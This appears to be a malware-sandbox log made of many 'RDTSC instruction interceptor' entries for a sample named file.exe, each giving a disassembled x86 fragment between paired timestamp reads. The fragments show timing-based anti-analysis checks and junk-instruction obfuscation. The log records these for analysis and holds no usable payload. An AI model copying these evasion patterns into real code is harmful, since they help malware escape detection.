Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BB9F second address: 64BBC7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9AD51D02B7h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F9AD51D02A8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BCC2 second address: 64BCC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD8A second address: 64BD90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD90 second address: 64BD94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD94 second address: 64BDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 684CA7D0h 0x0000000f jmp 00007F9AD51D02AAh 0x00000014 lea ebx, dword ptr [ebp+1244F778h] 0x0000001a movsx edi, si 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9AD51D02B8h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BDD1 second address: 64BDE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD4C553BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AA44 second address: 63AA5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669EEC second address: 669EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A421 second address: 66A427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A427 second address: 66A42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A42E second address: 66A43C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F9AD51D02A6h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A43C second address: 66A442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A442 second address: 66A446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A446 second address: 66A468 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F9AD4C553BCh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 js 00007F9AD4C553B6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A468 second address: 66A46E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A5D4 second address: 66A5D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A5D8 second address: 66A5EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AB61 second address: 66AB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9AD4C553B6h 0x0000000a jmp 00007F9AD4C553C3h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ACEF second address: 66AD08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02B5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AD08 second address: 66AD0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AD0C second address: 66AD12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AFF8 second address: 66AFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AFFE second address: 66B013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007F9AD51D02A6h 0x00000011 pop esi 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B013 second address: 66B020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F20A second address: 66F214 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9AD51D02ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F6A1 second address: 66F6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F799 second address: 66F7B2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9AD51D02ACh 0x00000008 ja 00007F9AD51D02A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F7B2 second address: 66F7C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F7C0 second address: 66F7EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 jng 00007F9AD51D02A6h 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677625 second address: 67762B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67762B second address: 67762F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6324DC second address: 6324FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD4C553BAh 0x00000009 popad 0x0000000a jmp 00007F9AD4C553C3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6324FE second address: 632526 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9AD51D02A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F9AD51D02D2h 0x00000010 pushad 0x00000011 jmp 00007F9AD51D02B3h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676AE7 second address: 676B03 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F9AD4C553C2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676B03 second address: 676B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676C3D second address: 676C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676C43 second address: 676C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9AD51D02ABh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676F48 second address: 676F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD4C553C8h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677D84 second address: 677DEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9AD51D02B6h 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 jnp 00007F9AD51D02BDh 0x00000017 jmp 00007F9AD51D02B7h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jnl 00007F9AD51D02A6h 0x00000029 jmp 00007F9AD51D02AFh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677F3B second address: 677F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678517 second address: 67851B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67851B second address: 67852B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F9AD4C553B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67852B second address: 67852F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789BB second address: 6789E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9AD4C553BAh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnl 00007F9AD4C553C0h 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F9AD4C553B8h 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789E8 second address: 6789EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789EE second address: 6789F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678A75 second address: 678A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678A79 second address: 678A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678A84 second address: 678A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678D98 second address: 678DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD4C553C3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679D47 second address: 679D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679B68 second address: 679B6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679B6C second address: 679B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679B78 second address: 679B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C28E second address: 67C292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CD8F second address: 67CD93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D871 second address: 67D87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F9AD51D02A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D609 second address: 67D60F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E286 second address: 67E301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9AD51D02ADh 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F9AD51D02A8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D2B30h] 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D3025h], eax 0x00000034 jmp 00007F9AD51D02ADh 0x00000039 push 00000000h 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d push ebx 0x0000003e push esi 0x0000003f pop esi 0x00000040 pop ebx 0x00000041 push edi 0x00000042 jmp 00007F9AD51D02B2h 0x00000047 pop edi 0x00000048 popad 0x00000049 push eax 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d jl 00007F9AD51D02A6h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E301 second address: 67E305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E058 second address: 67E05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6815AC second address: 6815B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6815B0 second address: 6815CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6815CE second address: 68163A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2E4Bh], edi 0x00000011 mov edi, dword ptr [ebp+122D37FFh] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F9AD4C553B8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov dword ptr [ebp+1245F18Ah], edi 0x00000039 push 00000000h 0x0000003b jmp 00007F9AD4C553C6h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68163A second address: 68163E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6817A1 second address: 6817A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68260D second address: 68269B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 mov bx, 2B51h 0x0000000a push dword ptr fs:[00000000h] 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F9AD51D02A8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F9AD51D02A8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c mov bl, 58h 0x0000004e mov eax, dword ptr [ebp+122D0741h] 0x00000054 mov ebx, dword ptr [ebp+122D2CA8h] 0x0000005a push FFFFFFFFh 0x0000005c mov di, F4EBh 0x00000060 add dword ptr [ebp+122D37E8h], ebx 0x00000066 nop 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F9AD51D02B8h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6835B9 second address: 6835CF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jc 00007F9AD4C553CEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68187E second address: 6818A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F9AD51D02B3h 0x00000012 jmp 00007F9AD51D02ADh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68269B second address: 6826AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6818A6 second address: 6818AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68464A second address: 68464F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683763 second address: 68376F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6847EF second address: 6847F9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686798 second address: 68679E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68679E second address: 6867A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6859BA second address: 6859C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6867A2 second address: 6867B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a jp 00007F9AD4C553BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688803 second address: 688809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6879EF second address: 6879F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688809 second address: 68880F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68880F second address: 688813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688813 second address: 6888A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F9AD51D02A8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D1C0Ch], ebx 0x0000002c jmp 00007F9AD51D02B6h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F9AD51D02A8h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d push 00000000h 0x0000004f pushad 0x00000050 mov dword ptr [ebp+122D1BE7h], eax 0x00000056 adc dh, FFFFFF9Ch 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e push esi 0x0000005f pop esi 0x00000060 pushad 0x00000061 popad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689858 second address: 68985C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68985C second address: 689862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689862 second address: 689868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C7EB second address: 68C7F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C7F1 second address: 68C84A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d jno 00007F9AD4C553B8h 0x00000013 pop ebx 0x00000014 push 00000000h 0x00000016 mov bx, ax 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F9AD4C553B8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push eax 0x00000036 pushad 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d push eax 0x0000003e push edx 0x0000003f jng 00007F9AD4C553B6h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C84A second address: 68C84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
